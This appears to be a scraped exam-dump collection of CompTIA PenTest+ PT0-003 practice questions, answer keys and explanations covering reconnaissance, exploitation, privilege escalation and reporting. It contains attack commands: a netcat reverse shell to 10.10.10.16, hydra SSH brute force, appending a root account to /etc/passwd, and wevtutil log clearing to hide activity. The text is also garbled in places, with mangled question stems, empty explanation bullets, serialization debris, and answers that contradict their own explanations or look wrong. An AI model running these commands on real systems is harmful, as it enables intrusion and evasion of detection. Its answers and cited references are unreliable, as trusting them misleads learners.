

CompTIA

Exam Questions PT0-003

CompTIA PenTest+ Exam



NEW QUESTION 1

A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts. The executive report outlines the following information:

Server High-severity vulnerabilities

- * 1. Development sandbox server 32
- * 2. Back office file transfer server 51
- * 3. Perimeter network web server 14
- * 4. Developer QA server 92

The client is concerned about monitoring mode using Aircrack-ng on any of the following hosts should the penetration tester select for additional manual testing?

- A. Server 1
- B. Server 2
- C. Server 3
- D. Server 4

Answer: C

Explanation:

? Client Concern:

? Server Analysis:

? Pentest References:

By selecting Server 3 (the perimeter network web server) for additional manual testing, the penetration tester addresses the client's primary concern about the availability and security of the consumer-facing production application.

=====

NEW QUESTION 2

A penetration tester needs to confirm the version number of a client's web application server. Which of the following techniques should the penetration tester use?

- A. SSL certificate inspection
- B. URL spidering
- C. Banner grabbing
- D. Directory brute forcing

Answer: C

Explanation:

Banner grabbing is a technique used to gather information about a service running on an open port, which often includes the version number of the application or server. Here's why banner grabbing is the correct answer

? Banner Grabbing: It involves connecting to a service and reading the welcome banner or response, which typically includes version information. This is a direct method to identify the version number of a web application server.

? SSL Certificate Inspection: While it can provide information about the server, it is not reliable for identifying specific application versions.

? URL Spidering: This is used for discovering URLs and resources within a web application, not for version identification.

? Directory Brute Forcing: This is used to discover hidden directories and files, not for identifying version information.

References from Pentest:

? Luke HTB: Shows how banner grabbing can be used to identify the versions of services running on a server.

? Writeup HTB: Demonstrates the importance of gathering version information through techniques like banner grabbing during enumeration phases.

Conclusion:

Option C, banner grabbing, is the most appropriate technique for confirming the version number of a web application server.

=====

NEW QUESTION 3

As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands. Which of the following techniques would the penetration tester most likely use to access the sensitive data?

- A. Logic bomb
- B. SQL injection
- C. Brute-force attack
- D. Cross-site scripting

Answer: B

Explanation:

SQL injection (SQLi) is a technique that allows attackers to manipulate SQL queries to execute arbitrary commands on a database. It is one of the most common and effective methods for accessing sensitive data in internal applications that accept unexpected user inputs. Here's why option B is the most likely technique:

? Arbitrary Command Execution: The question specifies that the internal application accepts unexpected user inputs leading to arbitrary command execution. SQL injection fits this description as it exploits vulnerabilities in the application's input handling to execute unintended SQL commands on the database.

? Data Access: SQL injection can be used to extract sensitive data from the database, modify or delete records, and perform administrative operations on the database server. This makes it a powerful technique for accessing sensitive information.

? Common Vulnerability: SQL injection is a well-known and frequently exploited vulnerability in web applications, making it a likely technique that a penetration tester would use to exploit input handling issues in an internal application.

References from Pentest:

? Luke HTB: This write-up demonstrates how SQL injection was used to exploit an internal application and access sensitive data. It highlights the process of identifying and leveraging SQL injection vulnerabilities to achieve data extraction.

? Writeup HTB: Describes how SQL injection was utilized to gain access to user credentials and further exploit the application. This example aligns with the scenario of using SQL injection to execute arbitrary commands and access sensitive data.

Conclusion:

Given the nature of the vulnerability described (accepting unexpected user inputs leading to arbitrary command execution), SQL injection is the most appropriate and likely technique that the penetration tester would use to access sensitive data. This method directly targets the input handling mechanism to manipulate SQL queries, making it the best choice.

=====

NEW QUESTION 4

A penetration tester completed OSINT work and needs to identify all subdomains for mydomain.com. Which of the following is the best command for the tester to use?

- A. nslookup mydomain.com » /path/to/results.txt
- B. crunch 1 2 | xargs -n 1 -I 'X' nslookup X.mydomain.com
- C. dig @8.8.8.8 mydomain.com ANY » /path/to/results.txt
- D. cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com

Answer: D

Explanation:

Using dig with a wordlist to identify subdomains is an effective method for subdomain enumeration. The command `cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com` reads each line from wordlist.txt and performs a DNS lookup for each potential subdomain.

? Command Breakdown:

? Why This is the Best Choice:

? Benefits:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 5

Which of the following describes the process of determining why a vulnerability scanner is not providing results?

- A. Root cause analysis
- B. Secure distribution
- C. Peer review
- D. Goal reprioritization

Answer: A

Explanation:

Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the context of a vulnerability scanner not providing results, performing a root cause analysis would help determine why the scanner is failing to deliver the expected output. Here's why option A is correct:

? Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a problem. It involves investigating various potential causes and pinpointing the exact issue that is preventing the vulnerability scanner from working correctly.

? Secure Distribution: This refers to the secure delivery and distribution of software or updates, which is not relevant to troubleshooting a vulnerability scanner.

? Peer Review: This involves evaluating work by others in the same field to ensure quality and accuracy, but it is not directly related to identifying why a tool is malfunctioning.

? Goal Reprioritization: This involves changing the priorities of goals within a project, which does not address the technical issue of the scanner not working.

References from Pentest:

? Horizontal HTB: Demonstrates the process of troubleshooting and identifying issues with tools and their configurations to ensure they work correctly.

? Writeup HTB: Emphasizes the importance of thorough analysis to understand why certain security tools may fail during an assessment.

=====

NEW QUESTION 6

A penetration tester would like to leverage a CSRF vulnerability to gather sensitive details from an application's end users. Which of the following tools should the tester use for this task?

- A. Browser Exploitation Framework
- B. Maltego
- C. Metasploit
- D. theHarvester

Answer: A

Explanation:

Cross-Site Request Forgery (CSRF) vulnerabilities can be leveraged to trick authenticated users into performing unwanted actions on a web application. The right tool for this task would help in exploiting web-based vulnerabilities, particularly those related to web browsers and interactions.

? Browser Exploitation Framework (BeEF) (Answer: A):

? Maltego (Option B):

? Metasploit (Option C):

? theHarvester (Option D):

Conclusion: The Browser Exploitation Framework (BeEF) is the most suitable tool for leveraging a CSRF vulnerability to gather sensitive details from an application's end users. It is specifically designed for browser-based exploitation, making it the best choice for this task.

NEW QUESTION 7

A penetration tester is trying to bypass a command injection blacklist to exploit a remote code execution vulnerability. The tester uses the following command:

```
nc -e /bin/sh 10.10.10.16 4444
```

Which of the following would most likely bypass the filtered space character?

- A. \${IFS}
- B. %0a
- C. + *
- D. %20

Answer: A

Explanation:

To bypass a command injection blacklist that filters out the space character, the tester can use `$(IFS)`. `$(IFS)` stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.

? Command Injection:

? Bypassing Filters:

? Alternative Encodings:

Pentest References:

? Command Injection: Understanding how command injection works and common techniques to exploit it.

? Bypassing Filters: Using creative methods like environment variable expansion to bypass input filters and execute commands.

? Shell Scripting: Knowledge of shell scripting and environment variables is crucial for effective exploitation.

By using `$(IFS)`, the tester can bypass the filtered space character and execute the intended command, demonstrating the vulnerability's exploitability.

=====

NEW QUESTION 8

A tester is performing an external phishing assessment on the top executives at a company. Two-factor authentication is enabled on the executives' accounts that are in the scope of work. Which of the following should the tester do to get access to these accounts?

- A. Configure an external domain using a typosquatting technique
- B. Configure Evilginx to bypass two-factor authentication using a phishlet that simulates the mail portal for the company.
- C. Configure Gophish to use an external domain
- D. Clone the email portal web page from the company and get the two-factor authentication code using a brute-force attack method.
- E. Configure an external domain using a typosquatting technique
- F. Configure SET to bypass two-factor authentication using a phishlet that mimics the mail portal for the company.
- G. Configure Gophish to use an external domain
- H. Clone the email portal web page from the company and get the two-factor authentication code using a phishing method.

Answer: A

Explanation:

To bypass two-factor authentication (2FA) and gain access to the executives' accounts, the tester should use Evilginx with a typosquatting domain. Evilginx is a man-in-the-middle attack framework used to bypass 2FA by capturing session tokens.

? Phishing with Evilginx:

? Typosquatting:

? Steps:

Pentest References:

? Phishing: Social engineering technique to deceive users into providing sensitive information.

? Two-Factor Authentication Bypass: Advanced phishing attacks like those using Evilginx can capture and reuse session tokens, bypassing 2FA mechanisms.

? OSINT and Reconnaissance: Identifying key targets (executives) and crafting convincing phishing emails based on gathered information.

Using Evilginx with a typosquatting domain allows the tester to bypass 2FA and gain access to high-value accounts, demonstrating the effectiveness of advanced phishing techniques.

=====

NEW QUESTION 9

A penetration tester attempts to run an automated web application scanner against a target URL. The tester validates that the web page is accessible from a different device. The tester analyzes the following HTTP request header logging output:

200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0 200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0 No response;

POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl

200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0

No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: python

Which of the following actions should the tester take to get the scans to work properly?

- A. Modify the scanner to slow down the scan.
- B. Change the source IP with a VPN.
- C. Modify the scanner to only use HTTP GET requests.
- D. Modify the scanner user agent.

Answer: D

NEW QUESTION 10

During a security assessment for an internal corporate network, a penetration tester wants to gain unauthorized access to internal resources by executing an attack that uses software to disguise itself as legitimate software. Which of the following host-based attacks should the tester use?

- A. On-path
- B. Logic bomb
- C. Rootkit
- D. Buffer overflow

Answer: C

Explanation:

A rootkit is a type of malicious software designed to provide an attacker with unauthorized access to a computer system while concealing its presence. Rootkits achieve this by modifying the host's operating system or other software to hide their existence, allowing the attacker to maintain control over the system without detection.

? Definition and Purpose:

? Mechanisms of Action:

? Detection and Prevention:

? Real-World Examples:

- ? References from Pentesting Literature: Step-by-Step ExplanationReferences:
- ? Penetration Testing - A Hands-on Introduction to Hacking
- ? HTB Official Writeups on sophisticated attacks

NEW QUESTION 10
SIMULATION

A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists.

Reconnaissance data

```

root@attacker-machine:~# nmap -sC -T4 192.168.10.2
Starting Nmap 6.26SVN ( http://nmap.org ) at 2021-04-19 14:30 EST
Nmap scan report for 192.168.10.2
Host is up (0.27s latency).
Port      State      Service
22/tcp    open      ssh
23/tcp    closed    telnet
80/tcp    open      http
111/tcp   closed    rpcbind
445/tcp   open      samba
3389/tcp  closed    rdp?
Nmap done: 1 IP Address (1 host up) scanned in 5.48 seconds

root@attacker-machine:~# enum4linux -S 192.168.10.2
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b4]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[lowpriv] rid:[0x3fa]
    
```

Which of the following commands would **most** likely exploit the services?

- medusa -h 192.168.10.2 -u admin -P 500-worst-passwords.txt -M rpcbind
- hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
- crowbar -b rdp -s 192.168.10.2/32 -u administrator -C 500-worst-passwords.txt -n 1
- ncrack -T5 -user lowpriv -P 500-worst-passwords.txt -p telnet -g CL=1 192.168.10.2

- Part 1:
- . Analyze the output and select the command to exploit the vulnerable service. Part 2:
 - . Analyze the output from each command.
 - . Select the appropriate set of commands to escalate privileges.
 - . Identify which remediation steps should be taken.

Part 1

Part 2

Show Question

Reset All Answers

Commands

```

root@attacker-machine:~# find / -perm -2 -type f 2>/dev/null | xargs ls -l
root@attacker-machine:~# cat /etc/fstab
root@attacker-machine:~# find / -perm -u=s -type f 2>/dev/null | xargs ls -l
root@attacker-machine:~# grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7
root@attacker-machine:~# cut -d':' -f1 /etc/passwd
    
```

Which of the following sets of commands **most** likely escalates privileges?

- perl -le 'print crypt("password", "AA")'
cat /etc/passwd > /tmp/passwd
echo "root2:AA6tQYSfGxd/A:0:0:root:/root:/bin/bash" >> /tmp/passwd
cp /tmp/passwd /etc/passwd
- openssl passwd password
echo "root2:5ZOYXRfHVZ70Y:0:0:root:/root:/bin/bash" >> /etc/passwd
- echo "net user root2 password /add" > /home/lowpriv/backup.sh
echo "net localgroup administrators root2 /add" >> /home/lowpriv/backup.sh
- ./ /tmp/scripts/exploithost.sh -h 192.168.10.2 > output.txt
cat output.txt

Assuming the privileged escalation was successful, which of the following remediations should be taken? (Select two).

- Remove no_root_squash from fstab
- Remove SUID bit from cp
- Encrypt the /etc/passwd file
- Update SSH to latest version
- Strengthen password of lowpriv account
- Make backup script not world-writeable

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

The command that would most likely exploit the services is:
 hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22 The appropriate set of commands to escalate privileges is:
 echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
 The remediations that should be taken after the successful privilege escalation are:
 ? Remove the SUID bit from cp.
 ? Make backup script not world-writable.
 Comprehensive Step-by-Step Explanation of the Simulation Part 1: Exploiting Vulnerable Service
 ? Nmap Scan Analysis
 bash
 Copy code
 Port State Service 22/tcp open ssh
 23/tcp closed telnet 80/tcp open http 111/tcp closed rpcbind 445/tcp open samba 3389/tcp closed rdp
 Ports open are SSH (22), HTTP (80), and Samba (445).
 ? Enumerating Samba Shares makefile
 Copy code user:[games] rid:[0x3f2] user:[nobody] rid:[0x1f5] user:[bind] rid:[0x4ba] user:[proxy] rid:[0x42] user:[syslog] rid:[0x4ba]
 user:[www-data] rid:[0x42a] user:[root] rid:[0x3e8] user:[news] rid:[0x3fa] user:[lowpriv] rid:[0x3fa] We identify a user lowpriv.
 ? Selecting Exploit Command
 ? Executing the Hydra Command
 Part 2: Privilege Escalation and Remediation
 ? Finding SUID Binaries and Configuration Files
 ? Selecting Privilege Escalation Command
 ? Executing the Privilege Escalation Command
 ? Remediation Steps Post-Exploitation
 Execution and Verification
 ? Verifying Hydra Attack:
 ? Verifying Privilege Escalation:
 ? Implementing Remediation:
 By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.

NEW QUESTION 15

Which of the following components should a penetration tester include in an assessment report?

- A. User activities
- B. Customer remediation plan
- C. Key management
- D. Attack narrative

Answer: D

Explanation:

An attack narrative provides a detailed account of the steps taken during the penetration test, including the methods used, vulnerabilities exploited, and the outcomes of each attack. This helps stakeholders understand the context and implications of the findings.
 ? Components of an Assessment Report:
 ? Importance of Attack Narrative:
 ? References from Pentesting Literature: Step-by-Step ExplanationReferences:
 ? Penetration Testing - A Hands-on Introduction to Hacking
 ? HTB Official Writeups
 =====

NEW QUESTION 16

During an engagement, a penetration tester wants to enumerate users from Linux systems by using finger and rwho commands. However, the tester realizes these commands alone will not achieve the desired result. Which of the following is the best tool to use for this task?

- A. Nikto
- B. Burp Suite
- C. smbclient
- D. theHarvester

Answer: C

Explanation:

The smbclient tool is used to access SMB/CIFS resources on a network. It allows penetration testers to connect to shared resources and enumerate users on a network, particularly in Windows environments. While finger and rwho are more common on Unix/Linux systems, smbclient provides better functionality for enumerating users across a network.
 ? Understanding smbclient:
 ? User Enumeration:
 Step-by-Step Explanationsmbclient -L //target_ip -U username
 ? uk.co.certification.simulator.questionpool.PList@10ddf175 smbclient -L //192.168.50.2 -U anonymous
 ? Advantages:
 ? References from Pentesting Literature: References:
 ? Penetration Testing - A Hands-on Introduction to Hacking
 ? HTB Official Writeups
 =====

NEW QUESTION 21

Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?

- A. Preserving artifacts
- B. Reverting configuration changes
- C. Keeping chain of custody
- D. Exporting credential data

Answer: A

Explanation:

? Preserving Artifacts:

? Other Tasks:

Pentest References:

? Reporting: Comprehensive documentation and reporting of findings are crucial parts of penetration testing.

? Evidence Handling: Properly preserving and handling artifacts ensure that the integrity of the test results is maintained and can be used for future reference.

By preserving artifacts, the penetration tester ensures that all key outputs from the test are retained for analysis, reporting, and future reference.

=====

NEW QUESTION 26

In a cloud environment, a security team discovers that an attacker accessed confidential information that was used to configure virtual machines during their initialization. Through which of the following features could this information have been accessed?

- A. IAM
- B. Block storage
- C. Virtual private cloud
- D. Metadata services

Answer: D

Explanation:

Metadata services in cloud environments provide information about the configuration and instance details, including sensitive data used during the initialization of virtual machines. Attackers can access this information to exploit and gain unauthorized access.

? Understanding Metadata Services:

? Common Information Exposed:

? Security Risks:

? Best Practices:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 30

Given the following statements:

? Implement a web application firewall.

? Upgrade end-of-life operating systems.

? Implement a secure software development life cycle.

In which of the following sections of a penetration test report would the above statements be found?

- A. Executive summary
- B. Attack narrative
- C. Detailed findings
- D. Recommendations

Answer: D

Explanation:

The given statements are actionable steps aimed at improving security. They fall under the recommendations section of a penetration test report. Here??s why option D is correct:

? Recommendations: This section of the report provides specific actions that should

be taken to mitigate identified vulnerabilities and improve the overall security posture. Implementing a WAF, upgrading operating systems, and implementing a secure SDLC are recommendations to enhance security.

? Executive Summary: This section provides a high-level overview of the findings

and their implications, intended for executive stakeholders.

? Attack Narrative: This section details the steps taken during the penetration test, describing the attack vectors and methods used.

? Detailed Findings: This section provides an in-depth analysis of each identified vulnerability, including evidence and technical details.

References from Pentest:

? Forge HTB: The report's recommendations section suggests specific measures to address the identified issues, similar to the given statements.

? Writeup HTB: Highlights the importance of the recommendations section in providing actionable steps to improve security based on the findings from the assessment.

Conclusion:

Option D, recommendations, is the correct section where the given statements would be found in a penetration test report.

=====

NEW QUESTION 31

A penetration tester assesses a complex web application and wants to explore potential security weaknesses by searching for subdomains that might have existed in the past. Which of the following tools should the penetration tester use?

- A. Censys.io
- B. Shodan

- C. Wayback Machine
- D. SpiderFoot

Answer: C

Explanation:

The Wayback Machine is an online tool that archives web pages over time, allowing users to see how a website looked at various points in its history. This can be extremely useful for penetration testers looking to explore potential security weaknesses by searching for subdomains that might have existed in the past.

- ? Accessing the Wayback Machine:
- ? Navigating Archived Pages:
- ? Identifying Subdomains:
- ? Tool Integration:
- ? Real-World Example:
- ? References from Pentesting Literature: Step-by-Step ExplanationReferences:
- ? HTB Official Writeups

=====

NEW QUESTION 34

A penetration tester needs to complete cleanup activities from the testing lead. Which of the following should the tester do to validate that reverse shell payloads are no longer running?

- A. Run scripts to terminate the implant on affected hosts.
- B. Spin down the C2 listeners.
- C. Restore the firewall settings of the original affected hosts.
- D. Exit from C2 listener active sessions.

Answer: A

Explanation:

To ensure that reverse shell payloads are no longer running, it is essential to actively terminate any implanted malware or scripts. Here??s why option A is correct:

- ? Run Scripts to Terminate the Implant: This ensures that any reverse shell payloads or malicious implants are actively terminated on the affected hosts. It is a direct and effective method to clean up after a penetration test.
- ? Spin Down the C2 Listeners: This stops the command and control listeners but does not remove the implants from the hosts.
- ? Restore the Firewall Settings: This is important for network security but does not directly address the termination of active implants.
- ? Exit from C2 Listener Active Sessions: This closes the current sessions but does not ensure that implants are terminated.

References from Pentest:

- ? Anubis HTB: Demonstrates the process of cleaning up and ensuring that all implants are removed after an assessment.
- ? Forge HTB: Highlights the importance of thoroughly cleaning up and terminating any payloads or implants to leave the environment secure post-assessment.

=====

NEW QUESTION 36

SIMULATION

A penetration tester has been provided with only the public domain name and must enumerate additional information for the public-facing assets.

INSTRUCTIONS

Output 1

Output 2

Output 3

```
[*] Target: someclouddomain.org

Searching 0 results.
Searching 100 results.
Searching 200 results.
[*] Searching Google.

[*] No IPs found.

[*] Emails found: 9
-----
afrihari@someclouddomain.org
security@someclouddomain.org
info@someclouddomain.org
gfareau@someclouddomain.org
avapretta@someclouddomain.org
lastname@someclouddomain.org
researchIT@someclouddomain.org
ghstrowski@someclouddomain.org
conferencespeakers@someclouddomain.org

[*] Hosts found: 9
-----
academic-stores.someclouddomain.org:34.196.18.124, 34.233.45.248,
52.7.213.114, 54.174.10.37
certifications.someclouddomain.org:198.134.5.32
connection.someclouddomain.org:13.107.246.51, 13.107.213.51
logins.someclouddomain.org:198.134.5.46
your.someclouddomain.org:52.173.139.125
ITpartners.someclouddomain.org:104.43.140.101
ls.someclouddomain.org:67.199.248.13, 67.199.248.12
stores.someclouddomain.org:34.233.45.248, 52.7.213.114, 54.174.10.37,
34.196.18.124
www.someclouddomain.org:23.96.239.26
```

Which of the following tools created this output?

- WHOIS
- dig
- Nmap
- TheHarvester

Select the appropriate command to produce the output:

- `theharvester -d someclouddomain.org -l 200 -b google.com`
- `theharvester -d google.com -l 200 -b someclouddomain.org`

Output 1

Output 2

Output 3

```
nslookup Output
```

```
Server: Unknown
```

```
Address: 8.8.8.8
```

```
Non-Authoritative answer:
```

```
Name: someclouddomain.org
```

```
Addresses:
```

```
245.62.183.182
```

```
245.145.184.203
```

```
dig Output
```

```
; DiG 9.11.5-P4.testmachine-Ubuntu <<>> someclouddomain.org
```

```
;; global options: +cmd
```

```
someclouddomain.org. 300 IN A 245.62.183.182
```

```
someclouddomain.org. 300 IN A 245.145.184.203
```

Review Output 2 for the nslookup and dig commands:

Use the provided public DNS server to find the appropriate IPs for someclouddomain.org.

The local DNS server does not have Internet access.

Your Domain: pentestdomain.com

Your IP Address: 10.97.55.62

Public DNS Server: 8.8.8.8

Private DNS Server: 192.168.20.66

Target Domain: someclouddomain.org

Select TWO commands that would produce the nslookup and dig output:

- \$ dig @8.8.8.8 +noall +answer
someclouddomain.org
- \$ dig @192.168.20.66 someclouddomain.org
+short
- \$ dig someclouddomain.org +noall +short
- > nslookup someclouddomain.org 8.8.8.8
- > nslookup someclouddomain.org 192.168.20.66
- > nslookup someclouddomain.org

Output 1

Output 2

Output 3

(command 1)

whois 245.62.183.203

NetRange: 245.62.0.0 - 245.62.255.255

CIDR: 245.62.0.0/16

NetName: Amazon-05

NetHandle: NET-245-62-0-0-1

Parent: NET245 (NET 245-0-0-0-0)

NetType: Direct Allocation

OriginAS: AS56466, AS66522, AS7226

Organization: Amazon.com, Inc. (AMAZON)

RegDate 2010-08-27

Updated: 2015-09-24

Ref: <https://rdap.arin.net/registry/ip/245.62.183.203>

(command 2)

whois someclouddomain.org

Domain Name: someclouddomain.org

Registry Domain ID: D20033912-LRJA

Updated Date: 2021-02-15T04:43:38Z

Creation Date: 1993-09-22T04:00:38Z

Registrar: LocalComputerPro's, Inc.

Registrar Abuse Contact Email: domainabuse@localcomputerpros.com

Registrar Abuse Contact Phone: 1234567789

Registry Expiry Date: 2021-08-14T04:00:00Z

Review Output 3. Select the appropriate option for each dropdown

Where is the domain being hosted?

- Someclouddomain
- ARIN
- LocalComputerPro's.com
- Amazon

Who registered the domain?

- LocalComputerPro's, Inc.
- ARIN
- Someclouddomain
- Amazon

When was the domain registered?

- 1993-09-22T04:00:38Z
- 2021-02-15T04:43:38Z
- 2015-09-24
- 2010-08-27

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Which of the following tools created this output?

- WHOIS
- dig
- Nmap
- TheHarvester

Select the appropriate command to produce the output:

- `theharvester -d someclouddomain.org -l 200 -b google.com`
- `theharvester -d google.com -l 200 -b someclouddomain.org`

Select TWO commands that would produce the nslookup and dig output:

- `$ dig @8.8.8.8 +noall +answer someclouddomain.org`
- `$ dig @192.168.20.66 someclouddomain.org +short`
- `$ dig someclouddomain.org +noall +short`
- `> nslookup someclouddomain.org 8.8.8.8`
- `> nslookup someclouddomain.org 192.168.20.66`
- `> nslookup someclouddomain.org`

Review Output 3. Select the appropriate option for each dropdown

Where is the domain being hosted?

Amazon ▼

Who registered the domain?

LocalComputerPro's, Inc. ▼

When was the domain registered?

1993-09-22T04:00:38Z ▼

NEW QUESTION 37

A penetration tester plans to conduct reconnaissance during an engagement using readily available resources. Which of the following resources would most likely identify hardware and software being utilized by the client?

- A. Cryptographic flaws
- B. Protocol scanning
- C. Cached pages
- D. Job boards

Answer: D

Explanation:

? Reconnaissance:

? Job Boards:

? Examples of Job Boards:

Pentest References:

? OSINT (Open Source Intelligence): Using publicly available sources to gather information about a target.

? Job boards are a key source of OSINT, providing indirect access to the internal technologies of a company.

? This information can be used to tailor subsequent phases of the penetration test, such as vulnerability scanning and exploitation, to the specific technologies identified.

By examining job boards, a penetration tester can gain insights into the hardware and software environments of the target, making this a valuable reconnaissance tool.

=====

NEW QUESTION 40

A penetration tester is performing an authorized physical assessment. During the test, the tester observes an access control vestibule and on-site security guards near the entry door in the lobby. Which of the following is the best attack plan for the tester to use in order to gain access to the facility?

- A. Clone badge information in public areas of the facility to gain access to restricted areas.
- B. Tailgate into the facility during a very busy time to gain initial access.
- C. Pick the lock on the rear entrance to gain access to the facility and try to gain access.
- D. Drop USB devices with malware outside of the facility in order to gain access to internal machines.

Answer: B

Explanation:

In an authorized physical assessment, the goal is to test physical security controls. Tailgating is a common and effective technique in such scenarios. Here??s

why option B is correct:

? Tailgating: This involves following an authorized person into a secure area without proper credentials. During busy times, it's easier to blend in and gain access without being noticed. It tests the effectiveness of physical access controls and security personnel.

? Cloning Badge Information: This can be effective but requires proximity to employees and specialized equipment, making it more complex and time-consuming.

? Picking Locks: This is a more invasive technique that carries higher risk and is less stealthy compared to tailgating.

? Dropping USB Devices: This tests employee awareness and response to malicious devices but does not directly test physical access controls.

References from Pentest:

? Writeup HTB: Demonstrates the effectiveness of social engineering and tailgating techniques in bypassing physical security measures.

? Forge HTB: Highlights the use of non-invasive methods like tailgating to test physical security without causing damage or raising alarms.

Conclusion:

Option B, tailgating into the facility during a busy time, is the best attack plan to gain access to the facility in an authorized physical assessment.

=====

NEW QUESTION 42

A penetration tester wants to use multiple TTPs to assess the reactions (alerted, blocked, and others) by the client's current security tools. The threat-modeling team indicates the TTPs in the list might affect their internal systems and servers. Which of the following actions would the tester most likely take?

- A. Use a BAS tool to test multiple TTPs based on the input from the threat-modeling team.
- B. Perform an internal vulnerability assessment with credentials to review the internal attack surface.
- C. Use a generic vulnerability scanner to test the TTPs and review the results with the threat-modeling team.
- D. Perform a full internal penetration test to review all the possible exploits that could affect the systems.

Answer: A

Explanation:

BAS (Breach and Attack Simulation) tools are specifically designed to emulate multiple TTPs (Tactics, Techniques, and Procedures) used by adversaries. These tools can simulate various attack vectors in a controlled manner to test the effectiveness of an organization's security defenses and response mechanisms.

Here's why option A is the best choice:

? Controlled Testing Environment: BAS tools provide a controlled environment

where multiple TTPs can be tested without causing unintended damage to the internal systems and servers. This is critical when the threat-modeling team indicates potential impacts on internal systems.

? Comprehensive Coverage: BAS tools are designed to cover a wide range of TTPs,

allowing the penetration tester to simulate various attack scenarios. This helps in assessing the reactions (alerted, blocked, and others) by the client's security tools comprehensively.

? Feedback and Reporting: These tools provide detailed feedback and reporting on

the effectiveness of the security measures in place, including which TTPs were detected, blocked, or went unnoticed. This information is invaluable for the threat-modeling team to understand the current security posture and areas for improvement.

References from Pentest:

? Anubis HTB: This write-up highlights the importance of using controlled tools and methods for testing security mechanisms. BAS tools align with this approach by providing a controlled and systematic way to assess security defenses.

? Forge HTB: Emphasizes the use of various testing tools and techniques to simulate real-world attacks and measure the effectiveness of security controls. BAS tools are mentioned as a method to ensure comprehensive coverage and minimal risk to internal systems.

Conclusion:

Using a BAS tool to test multiple TTPs allows for a thorough and controlled assessment of the client's security tools' effectiveness. This approach ensures that the testing is systematic, comprehensive, and minimally disruptive, making it the best choice.

=====

NEW QUESTION 44

During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence. Which of the following is the best way for the penetration tester to hide the activities performed?

- A. Clear the Windows event logs.
- B. Modify the system time.
- C. Alter the log permissions.
- D. Reduce the log retention settings.

Answer: A

Explanation:

During a penetration test, one of the critical steps for maintaining access and covering tracks is to clear evidence of the attack. Manipulating data to hide activities on an internal server involves ensuring that logs and traces of the attack are removed. Here's a detailed explanation of why clearing the Windows event logs is the best method for this scenario:

? Understanding Windows Event Logs: Windows event logs are a key forensic

artifact that records system, security, and application events. These logs can provide detailed information about user activities, system changes, and potential security incidents.

? Why Clear Windows Event Logs:

? Method to Clear Event Logs:

shell

Copy code wevtutil cl System wevtutil cl Security

wevtutil cl Application

? [uk.co.certification.simulator.questionpool.PList@6126ce2a](https://www.uk.co.certification.simulator.questionpool.PList@6126ce2a)

? Alternative Options and Their Drawbacks:

? Case References:

In conclusion, clearing Windows event logs is a well-established practice for hiding activities during a penetration test. It is the most effective way to remove evidence of the attack from the system, thereby maintaining stealth and ensuring that the tester's actions remain undetected.

=====

NEW QUESTION 46

During an assessment, a penetration tester obtains an NTLM hash from a legacy Windows machine. Which of the following tools should the penetration tester use to continue the attack?

- A. Responder
- B. Hydra
- C. BloodHound
- D. CrackMapExec

Answer: D

Explanation:

When a penetration tester obtains an NTLM hash from a legacy Windows machine, they need to use a tool that can leverage this hash for further attacks, such as pass-the-hash attacks, or for cracking the hash. Here's a breakdown of the options:

? Option A: Responder

? Option B: Hydra

? Option C: BloodHound

? Option D: CrackMapExec

References from Pentest:

? Forge HTB: Demonstrates the use of CrackMapExec for leveraging NTLM hashes to gain further access within a network.

? Horizontall HTB: Shows how CrackMapExec can be used for various post- exploitation activities, including using NTLM hashes to authenticate and execute commands.

Conclusion:

Option D, CrackMapExec, is the most suitable tool for continuing the attack using an NTLM hash. It supports pass-the-hash techniques and other operations that can leverage NTLM hashes effectively.

=====

NEW QUESTION 48

A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be a function of the rules of engagement?

- A. Testing window
- B. Terms of service
- C. Authorization letter
- D. Shared responsibilities

Answer: A

Explanation:

The rules of engagement define the scope, limitations, and conditions under which a penetration test is conducted. Here's why option A is correct:

? Testing Window: This specifies the time frame during which the penetration testing activities are authorized to occur. It is a crucial part of the rules of engagement to ensure the testing does not disrupt business operations and is conducted within agreed-upon hours.

? Terms of Service: This generally refers to the legal agreement between a service provider and user, not specific to penetration testing engagements.

? Authorization Letter: This provides formal permission for the penetration tester to perform the assessment but is not a component of the rules of engagement.

? Shared Responsibilities: This refers to the division of security responsibilities between parties, often seen in cloud service agreements, but not specifically a function of the rules of engagement.

References from Pentest:

? Luke HTB: Highlights the importance of clearly defining the testing window in the rules of engagement to ensure all parties are aligned.

? Forge HTB: Demonstrates the significance of having a well-defined testing window to avoid disruptions and ensure compliance during the assessment.

=====

NEW QUESTION 51

